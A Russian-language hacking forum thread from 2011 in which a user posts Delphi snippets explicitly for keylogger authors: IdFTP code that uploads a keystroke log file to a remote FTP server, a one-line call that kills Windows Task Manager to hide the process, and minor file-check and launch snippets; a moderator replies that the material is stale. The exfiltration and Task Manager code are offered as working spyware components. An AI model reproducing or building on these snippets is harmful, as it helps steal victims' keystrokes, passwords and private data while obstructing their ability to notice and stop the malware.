|
cool1
|
Дата: Четверг, 10.02.2011, 16:02 | Сообщение # 1
|
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
|
Вы написали кейлоггер! Вам нужно отправить лог на фтп сервак? Вот и решение:
Code
IdFTP.Host := 'Host name'; // указываем хост FTP сервера
IdFTP.Port := 21; // указываем порт FTP сервера (по умолчанию 21)
IdFTP.Username := 'Login'; // указываем логин FTP сервера
IdFTP.Password := 'Pass'; // указываем пароль FTP сервера
IdFTP.Connect; // соединяемся с FTP сервером
IdFTP.Put('log.txt', 'log.txt', False); // отправляем файл FTP серверу
IdFTP.Disconnect; // отсоединяемся от FTP сервера
Компонент: IdFTP
Все!
А вот еще убиваем диспетчера
Code
PostMessage(FindWindow(Nil, 'Диспетчер задач Windows'), WM_QUIT, 0, 0);
Порверяем существует файл на диске или нет?
Code
var
FileName : string;
begin
FileName := 'С:\prog.exe';
if FileExists(FileName) then
ShowMessage('Файл существует')
else
ShowMessage('Файл не существует')
end;
Как программно открыть файл или папку. (ShellAPI)!
Code
ShellExecute(Handle,'Open',Pchar('C:\file.exe),nil,nil,1);
УВСЕ!
Зэ ЭНД?
За помощь ставьте +!
|
| |
|
|
|
C@T
|
Дата: Четверг, 10.02.2011, 20:47 | Сообщение # 2
|
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
|
а можно выкладывать что то новое или по другому реализованное старое, а то форум и так переполнен всеми известными функциями
да и код отправки на FTP добавляет много размера
|
| |
|
|
